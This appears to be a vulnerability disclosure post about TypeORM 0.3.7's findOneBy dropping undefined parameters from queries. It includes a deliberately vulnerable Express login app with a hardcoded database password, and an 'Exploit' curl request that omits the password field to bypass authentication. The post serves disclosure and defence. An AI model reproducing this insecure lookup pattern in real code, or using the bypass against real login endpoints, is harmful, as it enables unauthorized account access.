I found what I think is a vulnerability in the latest typeorm 0.3.7.
TypeORM v0.3 has a new findOneBy method instead of findOneById() and it is
the only way to get a record by id

Sending undefined as a value in this method removes this parameter from the
query. This leads to the data exposure.

For example:
Users.findOneBy({id: req.query.id}) with /?id=12345 produces SELECT * FROM
Users WHERE id=12345 LIMIT 1 while removing id from the query string
produces SELECT * FROM Users LIMIT 1

Maintainer also does not consider this a vulnerability and stated the
root cause is bad input validation. I tried to contact Snyk, but they
took the author's position. I still think it is a major vulnerability


Vulnerable app:


import {
  Entity,
  PrimaryGeneratedColumn,
  Column,
  Connection,
  ConnectionOptions,
  Repository,
  createConnection
} from 'typeorm';
import express from 'express';
import {Application, Request, Response} from 'express';

let connection: Connection;

async function myListener(request: Request, response: Response) {
  if(!connection)
    connection = await createConnection(connectionOpts);
  const userRepo: Repository<User> = connection.getRepository(User);

  const { email, password }: Record<string, string> = request.body;
  const user = await userRepo.findOneBy({ email, password });
  return response.json(user ? 'ok' : 'denied');
}

@Entity({ name: 'Users' })
class User {
    @PrimaryGeneratedColumn()
    id!: number;
    @Column()
    email!: string;
    @Column()
    password!: string;
}

const connectionOpts: ConnectionOptions = {
  type: 'mysql',
  name: 'myconnection',
  host: 'localhost',
  username: 'root',
  password: 'test123',
  database: 'domurl',
  entities: [User]
}

const app: Application = express();
app.use(express.json());
app.post( "/authenticate", myListener);
app.listen(4444, () => console.log('App started'));


Usage:

curl http://127.0.0.1:4444/authenticate -H 'Content-Type:
application/json' --data '{"email": "Flo64@yahoo.com", "password":
"incorrect"}'
"denied"⏎


Exploit:

curl http://127.0.0.1:4444/authenticate -H 'Content-Type:
application/json' --data '{"email": "Flo64@yahoo.com"}'
"ok"⏎